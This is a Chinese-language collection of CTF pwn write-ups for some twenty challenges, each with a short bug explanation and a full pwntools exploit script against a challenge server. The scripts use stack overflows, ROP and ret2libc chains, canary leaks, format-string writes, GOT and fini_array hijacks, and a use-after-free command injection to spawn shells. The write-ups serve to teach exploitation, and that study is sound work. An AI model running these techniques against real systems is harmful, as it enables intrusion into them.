hello_pwn 变量覆盖
当dword_60106C等于’nuaa‘(1853186401)时,进入sub_00686函数,并获得flag。
unk_601068与dword_60106C相隔4个字节,而read函数可以读16个字节,可以通过覆盖的方式来改变dword_60106C的值,来进入函数获得flag。
方法一:nc连接,输入aaaaaaun,获取flag。注意覆盖存储使用小端序
方法二:脚本
1 2 3 4 5 6 7 from pwn import * context.log_level='debug' p = remote("61.147.171.105" ,"61941" ) p.recvuntil(b"lets get helloworld for bof" ) p.sendline(b'a' *4 +p64(1853186401 )) p.interactive()
level0 栈溢出
buf的长度为128个字节(也就是0x80)但是read()函数允许往buf中输入0x200 字节数据,存在栈溢出漏洞。
思路:
向buf处输入0x80字节的数据填满buf,此时在继续输入0x8字节的数据造成溢出覆盖ebp处的数据。
再继续输入数据把返回地址处的数据覆盖为callsystem()的地址,这样vulnerable_function()函数原本要返回到main()函数但是却返回到了callsystem()函数来执行callsystem()
1 2 3 4 5 6 from pwn import * p=remote('61.147.171.105' ,'62544' ) p.recvuntil(b"Hello, World\n" ) p.sendline(b'a' *0x88 +p64(0x400596 )) p.interactive()
level2 构造ROP链 ROP(Return Oriented Programming),其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。
buf所占的空间大小为0x88字节,但read函数读取0x100字节,存在栈溢出。且没有开canary保护,可以一直向下溢出到ret返回的地址。返回的地址可以构造system函数,并让system函数执行“/bin/sh”。
1 2 3 4 5 6 7 8 from pwn import * p = remote("61.147.171.105" ,"59089" ) system = 0x08048320 bin_sh = 0x0804A024 p.recvuntil(b"Input:\n" ) p.sendline(b"a" *0x8c +p32(system)+p32(0 )+p32(bin_sh)) p.interactive()
CGfsb 格式化字符串-覆盖任意地址内存 用printf格式化字符串漏洞addr+%N$n修改任意地址的值
cccc对应的636363是第10个参数
pwnme所在地址为0x0804A068
1 2 3 4 5 6 7 8 9 10 from pwn import * r=process('./1' ) r.recvuntil("please tell me your name:" ) r.sendline('aaa' ) r.recvuntil("leave your message please:" ) payload=p32(0x0804A068 )+b'a' *4 +b'%10$n' r.sendline(payload) r.interactive()
1 2 3 4 5 6 7 8 %d - 十进制 - 输出十进制整数 %s - 字符串 - 从内存中读取字符串 %x - 十六进制 - 输出十六进制数 %c - 字符 - 输出字符 %p - 指针 - 指针地址 %n - 到目前为止所写的字符数,将%n之前printf 已经打印的字符个数赋值给指针所指向的地址; 而%hn表示写入的地址空间为2 字节,%hhn表示写入的地址空间为1 字节,%lln表示写入的地址空间为8 字节。 %N$n:将%n之前printf 已经打印的字符个数赋值给printf 的第n个参数
参考:https://www.jianshu.com/p/097e211cd9eb
guess_num 栈溢出以及伪随机数 rand()函数产生的是伪随机数,依靠srand()来产生随机数。如果srand()的参数相同 那么rand产生的随机数相同。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 __int64 __fastcall main (int a1, char **a2, char **a3) { int v4; int i; int v6; char v7[32 ]; unsigned int seed[2 ]; unsigned __int64 v9; v9 = __readfsqword(0x28 u); setbuf (stdin, 0LL ); setbuf (stdout, 0LL ); setbuf (stderr, 0LL ); v4 = 0 ; v6 = 0 ; *(_QWORD *)seed = sub_BB0 (); puts ("-------------------------------" ); puts ("Welcome to a guess number game!" ); puts ("-------------------------------" ); puts ("Please let me know your name!" ); printf ("Your name:" ); gets (v7); srand (seed[0 ]); for ( i = 0 ; i <= 9 ; ++i ) { v6 = rand () % 6 + 1 ; printf ("-------------Turn:%d-------------\n" , (unsigned int )(i + 1 )); printf ("Please input your guess number:" ); __isoc99_scanf("%d" , &v4); puts ("---------------------------------" ); if ( v4 != v6 ) { puts ("GG!" ); exit (1 ); } puts ("Success!" ); } sub_C3E (); return 0LL ; }
注意:下面代码linux下gcc编译执行 ,windows下结果会不同。得到srand参数为0时,伪随机数的结果。
1 2 3 4 5 6 7 8 9 10 11 12 13 #include <stdio.h> #include <stdlib.h> int main () { int b; srand (0 ); for (size_t i = 0 ; i <=9 ; i++) { b = rand () % 6 + 1 ; printf ("%d\n" , b); } return 0 ; }
结果为:2542625142。代码如下
1 2 3 4 5 6 7 8 9 10 from pwn import * p = process('./guess_num' ) payload = b'a' * 0x20 + p64(0 ) p.sendlineafter("Your name:" ,payload) rand = ['2' ,'5' ,'4' ,'2' ,'6' ,'2' ,'5' ,'1' ,'4' ,'2' ] for i in range (10 ): p.sendlineafter("Please input your guess number:" ,rand[i]) p.interactive()
int_overflow 整数溢出 常见各类型占用字节数如下:
类型
字节
取值范围
int
4
-2147483648~2147483647
short int
2
-32768~32767
long int
4
-2147483648~2147483647
unsigned int
4
0~4294967295
unsigned short int
2
0~65535
unsigned long int
4
0~4294967295
参考:https://ctf-wiki.org/pwn/linux/user-mode/integeroverflow/introduction/
s即传入的passwd长度定义为0x199(409)>0xff(255),因此长度为000100000100(260)是可以绕过if条件。
strcpy时,dest长度长度定义为0x14,存在栈溢出,可以构造rop链
1 2 3 4 5 6 7 8 9 from pwn import * p = process('./2' ) payload = b'a' *(0x14 +4 )+p32(0x0804868B )+b'a' *232 p.sendlineafter(b"choice:" ,b'1' ) p.sendlineafter(b"Please input your username:" ,b'demo' ) p.sendlineafter(b"Please input your passwd:" ,payload) p.interactive()
cgpwn2 构造ROP链
存在system函数(0x08048420),但是并没有给/bin/sh,需要自己写了入;name参数(0x0804A080)在.bss段,可以写进去一个/bin/sh,然后s存在栈溢出,可以构造ROP链。
1 2 3 4 5 6 7 8 from pwn import * p = remote("61.147.171.105" ,"58434" ) payload = b'a' *(0x26 +4 )+p32(0x08048420 )+b'a' *4 +p32(0x0804A080 ) p.sendlineafter(b"please tell me your name" ,b'/bin/sh' ) p.sendlineafter(b"hello,you can leave some message here:" ,payload) p.interactive()
string 格式化字符串-覆盖任意地址内存 提示string应该是格式化字符串,查找printf函数引用,发现漏洞点
v4=v4[1]时会执行shellcode
难点在理清程序思路
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import * p = process('./string' ) context(os='linux' , arch='amd64' ) p.recvuntil(b"secret[0] is " ) addr = int (p.recvuntil(b'\n' )[:-1 ],16 ) p.sendlineafter(b"What should your character's name be:" ,b'demo' ) p.sendlineafter(b"So, where you will go?east or up?:" ,b'east' ) p.sendlineafter(b"go into there(1), or leave(0)?:" ,str (1 )) p.sendlineafter(b"'Give me an address'" ,str (addr)) p.sendlineafter(b"And, you wish is:" ,b"%85c%7$n" ) shell=asm(shellcraft.amd64.sh()) p.sendlineafter(b"Wizard: I will help you! USE YOU SPELL" ,shell) p.interactive()
level3 ROP-ret2libc
流程:
篡改控制流为read->write->main,通过write(1, write_got, 4)得到write函数地址,计算出libc基址
控制流回到main函数,再次篡改为main->vulnerable_function->system(‘/bin/sh’),完成ret2libc
1 2 3 4 5 ROPgadget --binary ./libc_32.so.6 --string '/bin/sh' strings -a -t x libc_32.so.6 | grep "/bin/sh" readelf -s libc_32.so.6|grep system
“/bin/sh”与write函数的相对距离为0x15902b - 0xd43c0 = 0x84c6b;
system与write的相对距离为0x3a940-0xd43c0=-0x99A80
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import * p=remote('61.147.171.105' ,53144 ) elf = ELF('level3' ) libc = ELF('libc_32.so.6' ) payload =b'0' *0x8c +p32(elf.plt['write' ])+p32(elf.symbols['main' ])+p32(1 )+p32(elf.got['write' ])+p32(4 ) p.sendline(payload) p.recv() write_addr = u32(p.recv()[:4 ]) payload = b'0' *0x8c +p32(write_addr-0x99a80 )+b'0000' +p32(write_addr+0x84c6b ) p.sendline(payload) p.interactive()
dice_game 栈溢出以及伪随机数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *from ctypes import * p=remote('61.147.171.105' ,62460 ) libc=cdll.LoadLibrary("libc.so.6" ) p.recvuntil(b"know your name:" ) payload = b'0' *0x40 +p64(1 ) p.sendline(payload) res=[]for i in range (50 ): res.append(libc.rand()%6 +1 )for a in res: p.sendlineafter(b"Give me the point(1~6): " , str (a)) p.interactive()
forgot 栈溢出
注意填充数据不能满足以下条件,会改变v5的值。
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import * p = process('./forgot' ) p.recvuntil(b"What is your name?\n> " ) p.sendline(b"demo" ) p.recvuntil(b"Enter the string to be validate\n> " ) p.sendline(b'A' *(0x74 -0x54 )+p32(0x80486CC )) p.interactive()
Mary_Morton 格式化字符串、绕过Canary保护机制、栈溢出 1 2 3 4 Canary保护机制 在函数开始时就随机产生一个值,将这个值CANARY 放到栈上紧挨ebp的上一个位置,当攻击者想通过缓冲区溢出覆盖ebp或者ebp下方的返回地址时,一定会覆盖掉CANARY 的值;当程序结束时,程序会检查CANARY 这个值和之前的是否一致,如果不一致,则不会往下运行,从而避免了缓冲区溢出攻击 如果存在字符串格式化漏洞可以输出泄露canary的地址并利用栈溢出覆盖canary的地址返回到system地址从而达到绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import * p = remote("61.147.171.105" ,61806 ) sys_addr = 0x0004008DA p.recvuntil(b"battle \n" ) p.sendline(b"2" ) p.sendline(b"%23$p" ) c = p.recv() canary = int (c,16 )print (canary) p.recvuntil(b"battle \n" ) p.sendline(b"1" ) payload = b'a' *0x88 + p64(canary) + b'a' *8 + p64(sys_addr) p.sendline(payload) p.interactive()
warmup 盲打栈溢出 1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import * sys = 0x40060d for i in range (100 ): print (i) try : p = remote("61.147.171.105" ,64494 ) payload = b'A' *i + p64(sys) p.recvuntil(b">" ) p.sendline(payload) print (p.recv()) p.interactive() except : p.close()
stack2⭐ 未检查数组边界,造成任意地址修改
hackhere函数存在system(“/bin/sh”),地址0x0804859B
重点就要确定的就是main函数返回位置距离数组的偏移
根据代码和汇编指令确定数组首地址,运行到ret时ESP值就是main函数返回地址,相减得到偏移0x84。
通过ida直接找返回地址相对于数组的偏移算出来是有问题的,因为是函数最后使用leave和lea指令调整了栈帧,将栈底恢复到了之前的位置。栈底发生了变化,偏移量也就变化了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *def change (offest,by ): p.sendafter('exit' ,'3\n' ) p.sendafter('r to change:' ,str (offest)+'\n' ) p.sendafter('number:' ,str (by)+'\n' ) p=process('./stack2' ) p.sendafter('y numbers you have:' ,'0\n' ) change(0x84 ,0x9B ) change(0x85 ,0x85 ) change(0x86 ,0x04 ) change(0x87 ,0x08 ) p.recvuntil('exit' ) p.sendline('5' ) p.interactive()
本地没有问题,远程报错服务器找不到bash。(出题人的问题)
改变思路,使用程序里的system函数,以及sh字符串。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import *def change (offest,by ): p.sendafter('exit' ,'3\n' ) p.sendafter('r to change:' ,str (offest)+'\n' ) p.sendafter('number:' ,str (by)+'\n' ) p=remote('61.147.171.105' ,53919 ) p.sendafter('y numbers you have:' ,'0\n' ) change(0x84 ,0x50 ) change(0x85 ,0x84 ) change(0x86 ,0x04 ) change(0x87 ,0x08 ) change(0x8c ,0x87 ) change(0x8d ,0x89 ) change(0x8e ,0x04 ) change(0x8f ,0x08 ) p.recvuntil('exit' ) p.sendline('5' ) p.interactive()
pwn-100⭐ ROP-ret2csu 参考:https://blog.csdn.net/qin9800/article/details/104759217
开了NX,没办法直接往栈上写ShellCode
read读取0xC8个字符,而用户输入数据的首地址到ebp只有0x40个字节,存在栈溢出
程序没有提供libc,也没有system函数,但是有puts函数,可以通过pwntools的DynELF来远程获取libc(也可以使用LibcSearcher)
DynELF参考:https://blog.csdn.net/qq_40827990/article/details/86689760
1 2 3 使用 ROPgadget 工具搜索到的 pop rdi 因为我们需要这两条语句将栈中随后的两个内容分别作为 rdi 的内容和返回地址来处理,搜索的方法可以使用诸如 ROPgadget --binary pwn100 --only "pop|ret" | grep "rdi"
ret2csu参考:https://blog.csdn.net/AcSuccess/article/details/104448463
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from pwn import * p = remote("61.147.171.105" , 56721 ) elf = ELF("./pwn100" ) start_addr = 0x400550 pop_rdi_addr = 0x400763 puts_addr = elf.symbols["puts" ]def leak (addr ): payload = cyclic(0x40 + 0x8 ) payload += p64(pop_rdi_addr) + p64(addr) + p64(puts_addr) payload += p64(start_addr) payload = payload.ljust(200 , b"A" ) p.send(payload) p.recvuntil(b"bye~\n" ) data = p.recv() data = data[:-1 ] if not data: data = b"\x00" return data d = DynELF(leak, elf=elf) system_addr = d.lookup("system" , "libc" )print ("system addr:" , hex (system_addr))print ("----------- write /bin/sh to bss --------------" ) str_addr = 0x601000 pop6_addr = 0x40075a movcall_addr = 0x400740 print ("准备发送" ) read_got = elf.got["read" ] payload = cyclic(0x40 + 0x8 ) payload += p64(pop6_addr) + p64(0 ) + p64(1 ) + p64(read_got) + p64(8 ) + p64(str_addr) + p64(0 ) + p64(movcall_addr) payload += cyclic(56 ) payload += p64(start_addr) payload = payload.ljust(200 , b"B" ) p.send(payload) p.recvuntil(b"bye~\n" ) p.send(b"/bin/sh\x00" )print ("成功发送" )print ("----------- get shell --------------" ) payload = b'a' *(0x40 + 0x8 ) payload += p64(pop_rdi_addr) + p64(str_addr) + p64(system_addr) + p64(start_addr) payload = payload.ljust(200 , b"B" ) p.send(payload) p.interactive()
pwn-200 ret2libc、DynELF
思路:使用DynELF通过泄露的write地址,获得system地址;在bss段写入/bin/sh;通过溢出点构造rop
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import * p = remote('61.147.171.105' ,50595 ) elf = ELF('./1' ) main_addr = 0x80484be fun_addr = 0x80484be write_plt = elf.symbols['write' ] read_plt = elf.symbols['read' ] ppp_ret = 0x080485cd def leak (addr ): payload = b'a' *0x6c +p32(0 )+p32(write_plt)+p32(main_addr)+p32(1 )+p32(addr)+p32(4 ) p.sendlineafter('Welcome to XDCTF2015~!\n' , payload) data = p.recv() return data d = DynELF(leak, elf=elf) system_addr = d.lookup("system" , "libc" )print ("system addr:" , hex (system_addr)) bss_addr = elf.bss() payload = b'a' *0x6c +p32(0 )+p32(read_plt)+p32(ppp_ret)+p32(0 )+p32(bss_addr)+p32(8 )+p32(system_addr)+p32(0 )+p32(bss_addr) p.sendlineafter('Welcome to XDCTF2015~!\n' , payload) p.sendline(b'/bin/sh' ) p.interactive()
monkey 1 2 3 4 5 6 7 from pwn import * context.log_level='debug' p = remote("61.147.171.105" ,"54838" ) p.sendlineafter('js> ' , "os.system('cat flag')" ) p.interactive()
pwn1 ROP-ret2libc、绕过Canary 1 2 3 one_gadget就是用来去查找动态链接库里execve("/bin/sh" , rsp+0 x70, environ)函数的地址的 sudo apt -y install ruby sudo gem install one_gadget
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from pwn import * p = remote('61.147.171.105' ,59945 ) elf = ELF('./babystack' ) libc = ELF('./libc-2.23.so' ) puts_got = elf.got['puts' ] puts_plt = elf.plt['puts' ] main_addr = 0x400908 pop_rdi = 0x400a93 p.sendlineafter('>> ' ,'1' ) p.sendline(b'A' *0x88 ) p.sendlineafter('>> ' ,'2' ) p.recvuntil('A\n' ) canary = u64(p.recv(7 ).rjust(8 ,b'\x00' ))print (hex (canary)) payload = b'A' *0x88 + p64(canary) + b'B' *8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr) p.sendlineafter('>> ' ,'1' ) p.sendline(payload) p.sendlineafter('>> ' ,'3' ) real_puts = u64(p.recv().ljust(8 ,b'\x00' ))print (hex (real_puts)) base = real_puts - libc.symbols['puts' ] execve = base + 0x45216 payload = b'A' *0x88 + p64(canary) + b'B' *8 + p64(execve) p.sendlineafter('>> ' ,'1' ) p.sendline(payload) p.sendlineafter('>> ' ,'3' ) p.interactive()
实时数据监测 格式化字符串-大数覆盖 https://ctf-wiki.org/pwn/linux/user-mode/fmtstr/fmtstr-exploit/#_15
1 2 3 4 5 6 7 8 from pwn import * p = process('./123' ) payload = fmtstr_payload(12 , {0x0804a048 : 0x02223322 }) p.sendline(payload) p.interactive()
1 2 3 4 5 fmtstr_payload(offset , writes , numbwritten =0, write_size ='byte ') 第一个参数表示格式化字符串的偏移; 第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT: systemAddress} 第三个参数表示已经输出的字符个数,这里没有,为0 ,采用默认值即可; 第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int ),对应着hhn、hn和n,默认值是byte,即按hhn写。
welpwn ret2cus、DynELF 将buf的内容写入s2中,s2距离rbp只有0x10,可以进行溢出。但是发现是向s2中赋值的时候,遇到’\x00’就会中断for循环,而rbp肯定存在’\x00’。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import * p=remote('61.147.171.105' ,56291 ) elf = ELF('./welpwn' ) pop4 = 0x40089C pop6_addr = 0x40089A movecall_addr = 0x400880 poprdi = 0x4008A3 main_func = 0x400630 write_got = elf.got['write' ] read_got = elf.got['read' ]def leak (addr ): p.recv() rop = p64(pop6_addr)+p64(0 )+p64(1 )+p64(write_got)+p64(8 )+p64(addr)+p64(1 )+p64(movecall_addr)+b'x' *56 +p64(main_func) p.send((b'x' *24 + p64(pop4) + rop).ljust(1024 ,b'X' )) data = p.recv(8 ) return data d = DynELF(leak, elf=elf) system = d.lookup('system' , 'libc' )print (hex (system)) p.recv() bss_addr = elf.bss() rop = p64(pop6_addr)+p64(0 )+p64(1 )+p64(read_got)+p64(8 )+p64(bss_addr)+p64(0 )+p64(movecall_addr)+b'a' *56 rop += p64(poprdi) + p64(bss_addr) + p64(system) p.send((b'x' *24 + p64(pop4) + rop).ljust(1024 ,b'X' )) p.send('/bin/sh\x00' ) p.interactive()
Use After Free-Heap https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/use-after-free/
1) Set a time format.对应函数sub_400E00,申请内存存储字符串并检查格式,这里注意sub_400E43也调用了堆申请函数。
sub_400D74函数内sub_400C26申请内存
将包含ptr的格式化command给system执行
思路: 1.首先随便给ptr数值让它申请,但是最好和后面要填的参数长度相同; 2.然后选择5,free掉内存,因为没有置空,所以这个时候ptr成为了悬空指针 ; 3.然后我们去选择3,会再次申请堆。得到的堆地址就是之前ptr free掉的,然后写入/bin/sh; 4.最后选择4,command中有了命令,执行之后获得shell。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import * p = process('./123' ) p.recvuntil('> ' ) p.sendline('1' ) p.recvuntil('Format: ' ) p.sendline('a' * 10 ) p.recvuntil('> ' ) p.sendline('5' ) p.recvuntil('Are you sure you want to exit (y/N)? ' ) p.sendline('N' ) p.recvuntil('> ' ) p.sendline('3' ) p.recvuntil('Time zone: ' ) p.sendline("';/bin/sh'" ) p.recvuntil('> ' ) p.sendline('4' ) p.interactive()
Recho 劫持got表、ORW
syscall 与alarm函数起点 mov eax 的偏移量为 5。
把alarm的got表地址放在rdi里,然后把偏移量5放到rax里,我们就实现了把alarma的调用改成了syscall的调用
open()、read()、print()构造长ROP。全部pop|ret,代码里需要
1 cat /usr/i nclude/x86_64-linux-gnu/ asm/unistd_64.h
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from pwn import * context.log_level = 'debug' p = remote('61.147.171.105' ,64809 ) e = ELF("./1" ) alarm_plt = p64(e.plt["alarm" ]) alarm_got = p64(e.got["alarm" ]) read_plt = p64(e.plt["read" ]) printf_plt = p64(e.plt["printf" ]) prax = p64(0x4006fc ) prsi_r15 = p64(0X4008a1 ) prdi = p64(0x4008a3 ) prdx = p64(0x4006fe ) rdi_addrax = p64(0x40070d ) bss_buf = p64(0x601090 ) flag = p64(0x601058 ) payload = b"A" *0x38 payload += prdi + alarm_got payload += prax + p64(0X5 ) payload += rdi_addrax payload += prsi_r15 + p64(0x0 ) + p64(0x0 ) payload += prdi + flag payload += prax + p64(0x2 ) payload += alarm_plt payload += prdi + p64(0x3 ) payload += prsi_r15 + bss_buf + p64(0x0 ) payload += prdx + p64(0x30 ) payload+=read_plt payload += prdi + bss_buf + printf_plt p.recvuntil('Welcome to Recho server!\n' ) p.sendline(str (0x200 )) payload=payload.ljust(0x200 ,b'\x00' ) p.send(payload) p.shutdown('send' ) p.interactive()
greeting-150 格式化字符串、覆盖 .fini_array
linux x86程序执行流程。在main函数之前会执行一些其他的函数,init_array数组里面的函数会被一一执行,而且main函数结束后还会执行fini_array数组里面的函数。
思路:通过格式化字符串漏洞将函数strlen函数劫持为system函数(got表劫持 ),将fini里面的函数劫持为start函数;输入”/bin/sh”获得flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import * sh =remote('61.147.171.105' ,54469 ) elf=ELF('./greeting_150' ) context(os = 'linux' ,log_level = 'debug' ) strlen_got=elf.got['strlen' ] start_addr=0x080484F0 fini_addr=0x08049934 system_plt = 0x08048490 payload=b"aa" payload+=p32(strlen_got+2 ) payload+=p32(strlen_got) payload+=p32(fini_addr) payload+=b"%2020c%12$hn" payload+=b"%31884c%13$hn" payload+=b"%96c%14$hn" sh.recvuntil('Please tell me your name... ' ) sh.sendline(b'aa' +payload) sh.recvuntil('Please tell me your name... ' ) sh.sendline(b'/bin/sh' ) sh.interactive()